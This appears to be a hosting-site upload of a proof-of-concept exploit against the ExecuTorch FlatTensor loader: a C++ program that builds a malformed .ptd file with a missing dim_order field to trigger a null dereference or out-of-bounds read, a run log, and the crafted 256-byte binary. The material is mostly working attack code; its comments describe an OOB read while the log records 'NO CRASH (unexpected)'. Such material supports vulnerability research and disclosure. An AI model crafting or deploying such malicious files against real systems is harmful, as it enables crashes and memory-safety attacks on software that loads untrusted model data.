Upload 3 files
Browse files- asan_ptd_e2e.txt +3 -0
- craft_and_load_ptd.cpp +98 -0
- evil_nullderef.ptd +0 -0
asan_ptd_e2e.txt
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[poc] wrote poc/evil.ptd (256 bytes)
|
| 2 |
+
[poc] calling get_tensor_layout("w") ...
|
| 3 |
+
[poc] NO CRASH (unexpected): ok=1
|
craft_and_load_ptd.cpp
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// End-to-end PoC — crafts a malicious ExecuTorch .ptd and loads it through the REAL
|
| 2 |
+
// FlatTensorDataMap loader, triggering the heap OOB read in TensorLayout::create.
|
| 3 |
+
//
|
| 4 |
+
// The malicious .ptd has a NamedData "w" whose TensorLayout sets:
|
| 5 |
+
// sizes = [1,1,1,1] (dim = 4; all small positive so calculate_nbytes passes)
|
| 6 |
+
// dim_order = [0] (length 1)
|
| 7 |
+
// create_tensor_layout (flat_tensor_data_map.cpp:118-123) builds the dim_order Span with
|
| 8 |
+
// length dim(=4) over the 1-element dim_order buffer -> the guard at tensor_layout.cpp:54
|
| 9 |
+
// is a no-op -> OOB read at tensor_layout.cpp:59.
|
| 10 |
+
//
|
| 11 |
+
// The .ptd byte layout replicates extension/flat_tensor/serialize/serialize.py exactly
|
| 12 |
+
// (_FLATBUFFER_ALIGNMENT=16, segment_alignment=128, version=0, _insert_flatbuffer_header).
|
| 13 |
+
|
| 14 |
+
#include <flatbuffers/flatbuffers.h>
|
| 15 |
+
|
| 16 |
+
#include <executorch/extension/flat_tensor/serialize/flat_tensor_generated.h>
|
| 17 |
+
|
| 18 |
+
#include <executorch/extension/data_loader/file_data_loader.h>
|
| 19 |
+
#include <executorch/extension/flat_tensor/flat_tensor_data_map.h>
|
| 20 |
+
|
| 21 |
+
#include <cstdint>
|
| 22 |
+
#include <cstdio>
|
| 23 |
+
#include <cstring>
|
| 24 |
+
#include <string>
|
| 25 |
+
#include <vector>
|
| 26 |
+
|
| 27 |
+
using executorch::extension::FileDataLoader;
|
| 28 |
+
using executorch::extension::FlatTensorDataMap;
|
| 29 |
+
|
| 30 |
+
static uint64_t aligned_size(uint64_t n, uint64_t a) { return ((n + a - 1) / a) * a; }
|
| 31 |
+
static void put_u32(std::string& s, size_t off, uint32_t v) { std::memcpy(&s[off], &v, 4); }
|
| 32 |
+
static void append_u32(std::string& s, uint32_t v) { s.append(reinterpret_cast<char*>(&v), 4); }
|
| 33 |
+
static void append_u64(std::string& s, uint64_t v) { s.append(reinterpret_cast<char*>(&v), 8); }
|
| 34 |
+
|
| 35 |
+
int main(int argc, char** argv) {
|
| 36 |
+
const char* path = argc > 1 ? argv[1] : "evil.ptd";
|
| 37 |
+
|
| 38 |
+
// 1. Build the FlatTensor flatbuffer with the malicious TensorLayout.
|
| 39 |
+
flatbuffers::FlatBufferBuilder fbb;
|
| 40 |
+
std::vector<int32_t> sizes = {1, 1, 1, 1}; // dim = 4 (present, small positive)
|
| 41 |
+
// NULL-DEREF variant: omit dim_order entirely. flat_tensor.fbs marks dim_order optional
|
| 42 |
+
// (not (required)), so tensor_layout->dim_order() returns nullptr, and
|
| 43 |
+
// create_tensor_layout (flat_tensor_data_map.cpp:120) dereferences it: ->data() on null.
|
| 44 |
+
auto layout = flat_tensor_flatbuffer::CreateTensorLayoutDirect(
|
| 45 |
+
fbb, executorch_flatbuffer::ScalarType_FLOAT, &sizes, /*dim_order=*/nullptr);
|
| 46 |
+
auto named = flat_tensor_flatbuffer::CreateNamedDataDirect(fbb, "w", /*segment_index=*/0, layout);
|
| 47 |
+
std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>> nds = {named};
|
| 48 |
+
std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>> segs = {
|
| 49 |
+
flat_tensor_flatbuffer::CreateDataSegment(fbb, /*offset=*/0, /*size=*/0)};
|
| 50 |
+
auto root = flat_tensor_flatbuffer::CreateFlatTensorDirect(fbb, /*version=*/0, &segs, &nds);
|
| 51 |
+
flat_tensor_flatbuffer::FinishFlatTensorBuffer(fbb, root);
|
| 52 |
+
|
| 53 |
+
std::string fb(reinterpret_cast<const char*>(fbb.GetBufferPointer()), fbb.GetSize());
|
| 54 |
+
|
| 55 |
+
// 2. Build + insert the FlatTensorHeader (serialize.py layout).
|
| 56 |
+
const uint64_t EXPECTED_LENGTH = 40;
|
| 57 |
+
const uint64_t padded_header_length = aligned_size(EXPECTED_LENGTH, 16); // 48
|
| 58 |
+
const uint64_t segment_base_offset =
|
| 59 |
+
aligned_size(fb.size() + padded_header_length, 128);
|
| 60 |
+
|
| 61 |
+
std::string header; // FlatTensorHeader::to_bytes()
|
| 62 |
+
header.append("FH01", 4);
|
| 63 |
+
append_u32(header, (uint32_t)EXPECTED_LENGTH);
|
| 64 |
+
append_u64(header, padded_header_length); // flatbuffer_offset
|
| 65 |
+
append_u64(header, (uint64_t)fb.size()); // flatbuffer_size
|
| 66 |
+
append_u64(header, segment_base_offset); // segment_base_offset
|
| 67 |
+
append_u64(header, 0); // segment_data_size
|
| 68 |
+
header.resize(padded_header_length, '\0'); // pad to 48
|
| 69 |
+
|
| 70 |
+
// _insert_flatbuffer_header: bump root offset, keep magic, insert header, then tail.
|
| 71 |
+
uint32_t root_off;
|
| 72 |
+
std::memcpy(&root_off, fb.data(), 4);
|
| 73 |
+
std::string ptd;
|
| 74 |
+
append_u32(ptd, root_off + (uint32_t)padded_header_length); // new root offset
|
| 75 |
+
ptd.append(fb, 4, 4); // "FT01" identifier
|
| 76 |
+
ptd.append(header); // padded header
|
| 77 |
+
ptd.append(fb, 8, fb.size() - 8); // remainder of flatbuffer
|
| 78 |
+
ptd.resize(segment_base_offset, '\0'); // pad to segment_base_offset
|
| 79 |
+
|
| 80 |
+
FILE* f = std::fopen(path, "wb");
|
| 81 |
+
std::fwrite(ptd.data(), 1, ptd.size(), f);
|
| 82 |
+
std::fclose(f);
|
| 83 |
+
fprintf(stderr, "[poc] wrote %s (%zu bytes)\n", path, ptd.size());
|
| 84 |
+
|
| 85 |
+
// 3. Load it through the REAL loader -> triggers the OOB read.
|
| 86 |
+
auto loader = FileDataLoader::from(path);
|
| 87 |
+
if (!loader.ok()) { fprintf(stderr, "[poc] loader open failed\n"); return 2; }
|
| 88 |
+
auto map = FlatTensorDataMap::load(&loader.get());
|
| 89 |
+
if (!map.ok()) {
|
| 90 |
+
fprintf(stderr, "[poc] FlatTensorDataMap::load failed err=%u\n",
|
| 91 |
+
(unsigned)map.error());
|
| 92 |
+
return 3;
|
| 93 |
+
}
|
| 94 |
+
fprintf(stderr, "[poc] calling get_tensor_layout(\"w\") ...\n");
|
| 95 |
+
auto tl = map->get_tensor_layout(executorch::aten::string_view{"w", 1});
|
| 96 |
+
fprintf(stderr, "[poc] NO CRASH (unexpected): ok=%d\n", tl.ok());
|
| 97 |
+
return 0;
|
| 98 |
+
}
|
evil_nullderef.ptd
ADDED
|
Binary file (256 Bytes). View file
|
|
|